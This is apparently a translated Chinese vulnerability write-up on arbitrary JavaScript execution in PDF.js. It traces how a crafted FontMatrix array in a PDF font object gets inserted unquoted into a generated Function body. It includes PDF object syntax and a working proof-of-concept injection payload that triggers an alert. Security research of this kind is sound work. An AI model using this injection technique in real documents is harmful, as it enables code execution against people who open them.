// 如果可以,将 cmds 编译为 JavaScript 以实现最大速度... if (this.isEvalSupported && FeatureTest.isEvalSupported) { // 创建一个空数组 jsBuf 用于存储要生成的 JavaScript 代码片段 const jsBuf = []; // 堆代码 duidaima.com // 遍历 cmds 数组中的每个元素 for (const current of cmds) { // 如果当前元素有 args 属性且不为 undefined,将其转换为字符串并以逗号连接 const args = current.args!== undefined? current.args.join(",") : ""; // 将特定格式的代码片段添加到 jsBuf 数组中 jsBuf.push("c.", current.cmd, "(", args, ");\n"); } // 打印 jsBuf 数组元素连接后的字符串 console.log(jsBuf.join("")); // 返回一个新的 Function 对象,该对象接受 "c" 和 "size" 作为参数,并执行 jsBuf 中连接的代码 return (this.compiledGlyphs[character] = new Function( "c", "size", jsBuf.join("") )); }从攻击者的角度来看,这非常有趣:如果我们能够以某种方式控制进入 Function 对象主体的这些 cmds 并插入我们自己的代码,那么一旦渲染这样的字形,它就会被执行。好吧,让我们看看这个命令列表是如何生成的。回溯到 CompiledFont 类的逻辑,我们找到了 compileGlyph(...) 方法。这个方法用几个通用命令(保存、变换、缩放和恢复)初始化了 cmds 数组,并委托给 compileGlyphImpl(...) 方法来填充实际的渲染命令:
// 定义 compileGlyph 方法,接受 code 和 glyphId 作为参数 compileGlyph(code, glyphId) { // 如果 code 为空、长度为 0 或者 code 的第一个元素为 14,返回 NOOP if (!code || code.length === 0 || code[0] === 14) { return NOOP; } // 定义 fontMatrix 并初始化为当前对象的 fontMatrix 属性 let fontMatrix = this.fontMatrix; //... // 定义一个包含命令对象的 cmds 数组 const cmds = [ { cmd: "save" }, // 保存命令 { cmd: "transform", args: fontMatrix.slice() }, // 变换命令,参数为 fontMatrix 的切片副本 { cmd: "scale", args: ["size", "-size"] }, // 缩放命令,参数为 "size" 和 "-size" ]; // 调用 compileGlyphImpl 方法,并传入 code、cmds 和 glyphId this.compileGlyphImpl(code, cmds, glyphId); // 向 cmds 数组添加一个恢复命令 cmds.push({ cmd: "restore" }); // 返回 cmds 数组 return cmds; }如果我们对 PDF.js 代码进行检测以记录生成的 Function 对象,我们会发现生成的代码确实包含那些命令:
c.save(); c.transform(0.001,0,0,0.001,0,0); c.scale(size,-size); c.moveTo(0,0); c.restore();在这一点上,我们可以审查字体解析代码以及由字形生成的各种命令和参数,比如 quadraticCurveTo 和 bezierCurveTo,但所有这些看起来都相当正常,除了数字之外无法控制任何东西。然而,结果证明更有趣的是我们上面看到的变换命令:
{ cmd: "transform", args: fontMatrix.slice() },这个 fontMatrix 数组会被复制(通过 .slice() 方法)并插入到 Function 对象的主体中,用逗号连接。代码显然假定它是一个数字数组,但情况总是这样吗?这个数组中的任何字符串都会被直接插入,周围没有任何引号。因此,这在最好的情况下会破坏 JavaScript 语法,在最坏的情况下会导致任意代码执行。但是我们真的能在那种程度上控制 fontMatrix 的内容吗?
/** * 提取字体头部信息的函数 * @param {Object} properties - 包含相关属性的对象 */ extractFontHeader(properties) { // 定义一个变量用于存储获取的令牌 let token; // 当获取的令牌不为空时,进行循环 while ((token = this.getToken())!== null) { // 如果令牌不是'/',则继续下一次循环 if (token!== "/") { continue; } // 再次获取令牌 token = this.getToken(); // 根据令牌的值进行不同的处理 switch (token) { // 如果令牌是'FontMatrix' case "FontMatrix": // 读取数字数组并将其赋值给变量matrix const matrix = this.readNumberArray(); // 将matrix赋值给properties对象的fontMatrix属性 properties.fontMatrix = matrix; break; // 省略其他情况的处理 ... } // 省略其他处理 ... } // 省略其他处理 ... }尽管从技术上讲,Type1 字体在其头部包含任意的 Postscript 代码,但没有一个正常的 PDF 阅读器能完全支持这一点,大多数只是尝试读取具有预期类型的预定义键值对。在这种情况下,当 PDF.js 遇到 FontMatrix 键时,它只是读取一个数字数组。似乎用于其他几种字体格式的 CFF 解析器在这方面也是类似的。总的来说,看起来我们确实被限制在数字上。
const properties = { type, name: fontName.name, subtype, file: fontFile, ... fontMatrix: dict.getArray("FontMatrix") || FONT_IDENTITY_MATRIX, ... bbox: descriptor.getArray("FontBBox") || dict.getArray("FontBBox"), ascent: descriptor.get("Ascent"), descent: descriptor.get("Descent"), xHeight: descriptor.get("XHeight") || 0, capHeight: descriptor.get("CapHeight") || 0, flags: descriptor.get("Flags"), italicAngle: descriptor.get("ItalicAngle") || 0, ... };在 PDF 格式中,字体定义由几个对象组成。字体、它的字体描述符以及实际的字体文件。例如,这里由对象 1、2 和 3 表示:
1 0 obj << /Type /Font /Subtype /Type1 /FontDescriptor 2 0 R /BaseFont /FooBarFont >> endobj 2 0 obj << /Type /FontDescriptor /FontName /FooBarFont /FontFile 3 0 R /ItalicAngle 0 /Flags 4 >> endobj 3 0 obj << /Length 100 >> ... (actual binary font data) ... endobj上面代码所引用的字典指的是字体对象。因此,我们应该能够像这样定义一个自定义的 FontMatrix 数组:
1 0 obj << /Type /Font /Subtype /Type1 /FontDescriptor 2 0 R /BaseFont /FooBarFont /FontMatrix [1 2 3 4 5 6] % <----- >> endobj当尝试这样做时,起初看起来这不起作用,因为生成的 Function 主体中的变换操作仍然使用默认矩阵。然而,这是因为字体文件本身正在覆盖该值。幸运的是,当使用没有内部 FontMatrix 定义的 Type1 字体时,PDF 中指定的值会优先考虑,因为 fontMatrix 值不会被覆盖。
/FontMatrix [1 2 3 4 5 (foobar)]成功了!它被简单地插入到 Function 体中!
c.save(); c.transform(1,2,3,4,5,foobar); c.scale(size,-size); c.moveTo(0,0); c.restore();插入任意的 JavaScript 代码现在只是正确处理语法的问题。下面是一个经典的示例,通过首先结束 c.transform(...) 函数,并利用后面的括号来触发一个 alert:
/FontMatrix [1 2 3 4 5 (0\); alert\('foobar')]结果完全符合预期:
v0.8.1181(2014 年 4 月 10 日发布):受影响(PDF.js 的首次公开发布)